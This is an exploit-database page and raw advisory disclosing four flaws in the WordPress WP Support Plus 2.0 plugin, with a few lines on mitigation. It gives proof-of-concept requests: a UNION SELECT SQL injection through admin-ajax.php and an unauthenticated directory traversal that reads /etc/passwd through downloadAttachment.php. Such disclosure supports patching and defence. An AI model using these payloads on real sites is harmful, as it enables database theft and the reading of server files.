Wordpress WP Support Plus Responsive Ticket System 2.0 Plugin - Multiple Vulnerabilities

vendor:

WP Support Plus Responsive Ticket System

by:

Fikri Fadzil

7,5

CVSS

HIGH

SQL Injection, Full Path Disclosure, Directory Traversal, Broken Authentication

89, 200, 522, 287

CWE

Product Name: WP Support Plus Responsive Ticket System

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: NO

Related CWE: N/A

CPE: a:wordpress:wp_support_plus_responsive_ticket_system

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2014

WordPress WP Support Plus Responsive Ticket System 2.0 Plugin – Multiple Vulnerabilities

This plugin adds to WordPress the features of a complete ticket system with 100% responsive and 100% Ajax functionality. This allows users to submit tickets to report problems or get support on whatever they want. Users can set the status, priority and category of each ticket. SQL Injection can be done by sending a POST request to admin-ajax.php with action=openTicket&ticket_id=-1 UNION SELECT concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7. Full Path Disclosure can be done by sending a GET request to downloadAttachment.php with path=/var/www/wp-content/uploads/2014/09/file.pdf or path=. Directory Traversal can be done by sending a GET request to downloadAttachment.php with path=/etc/passwd. Broken Authentication can be done by sending a GET request to downloadAttachment.php with any file path.

Mitigation:

Ensure that all user input is properly sanitized and validated. Ensure that all authentication is properly implemented and enforced. Ensure that all file paths are properly validated.

Source

Exploit-DB raw data:

# Exploit Title: Wordpress WP Support Plus Responsive Ticket System 2.0
Plugin - Multiple Vulnerabilities
# Google Dork: N/A
# Date: 09.09.2014
# Exploit Author: Fikri Fadzil - fikri.fadzil@impact-alliance.org
# Vendor Homepage - http://wpsuportplus.byethost7.com/
# Software
http://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Version: 2.0
# Tested on: PHP


Description:
This plugin adds to WordPress the features of a complete ticket system with
100% responsive and 100% Ajax functionality. This allows users to submit
tickets to report problems or get support on whatever you want. Users can
set the status, priority and category of each ticket.


Proof of Concept:

1. SQL INJECTION
URL     : http://localhost/wp-admin/admin-ajax.php
METHOD  : POST
REQUEST : action=openTicket&ticket_id=-1 UNION SELECT
concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7
* any registered user can successfully execute this request


2. FULL PATH DISCLOSURE
a) URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=/var/www/wp-content/uploads/2014/09/file.pdf
 * full path to the file will be shown to the user after the file has been
uploaded
b) URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=
 * full path will be shown in PHP error message if parameter "path" is empty


3. DIRECTORY TRAVERSAL
URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=/etc/passwd
* any file from the server can be downloaded by giving parameter "path" the
location to the file


4. BROKEN AUTHENTICATION
URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=<any
file path>
* The script "downloadAttachment.php" is accessible for anyone without
having to login.